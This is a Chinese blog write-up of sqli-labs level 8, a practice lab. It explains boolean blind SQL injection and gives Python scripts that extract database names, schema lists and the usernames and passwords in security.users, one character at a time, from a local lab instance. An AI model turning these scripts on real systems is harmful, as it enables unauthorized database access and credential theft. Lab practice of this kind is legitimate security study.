sqlilab闯关记录(8)

第八关(布尔盲注):

利用条件:1、输入正确有回显,但不是库里数据。2、输入错误(语法错误或者空集)都没回显。

常规套路

1、id=1  YOU ARE IN.....

2、id=1" YOU ARE IN.....

3、id=1' 无报错回显。

4、id="  无报错回显。

5、id=1' and 1=1 --+   YOU ARE IN......

6、id=1' and 1=2 --+  无报错回显

结论:注入点闭合方式为单引号。返回空集和语法错误,都不回显报错。返回数据则YOU ARE IN......

这样前面1-7关的联合查询还有报错注入就不可能了。但是还是有办法的,那就是盲注。

盲注的话,要加快解题速度几个选择1、python。2、burp。3、sqlmap

要有编程水平,本人是个菜菜小鸡。不过努力学习中。扯远了。继续闯关。

sqli-labs 第八关 多命通关攻略(Python3 自动化实现布尔盲注)_sqli-labs第八关-CSDN博客
https://www.cnblogs.com/ceiling-/p/15757601.html

Sqli-Labs

参考链接里的脚本

爆当前库脚本,自己写的

import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<=20:
    while j<len(flag):
        x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr(database(),{i},1))=ord('{flag[j]}'),1,0) --+")  
        if('You are in...........' in x.text):
            result=result+flag[j]    
        j+=1
    j=0
    i+=1
print(result)
        

爆所有库的脚本,也是自己写的,感觉这脚本还是好笨拙,没事,万事开头难,能写出来也算是进步了。

import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<=200:
    while j<len(flag):
        x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))=ord('{flag[j]}'),1,0) --+")  
        if('You are in...........' in x.text):
            result=result+flag[j]    
        j+=1
    j=0
    i+=1
print(result)
        

后面爆表,爆列,爆记录是一样的,用布尔盲注,然后结合第一关拿数据的方法就可以拿到库里所有数据了。

import requests
flag="!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
i=1
j=0
result=''
while i<200:
    while j<len(flag):
        x=requests.request('get',f"http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ord(substr((select group_concat(id,username,password) from security.users),{i},1))=ord('{flag[j]}'),1,0) --+")  
        if('You are in...........' in x.text):
            result=result+flag[j]
            print(result)    
        j+=1
    j=0
    i+=1
print(result)
        

核心函数:if,ascii,substr,length;

  • 11
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值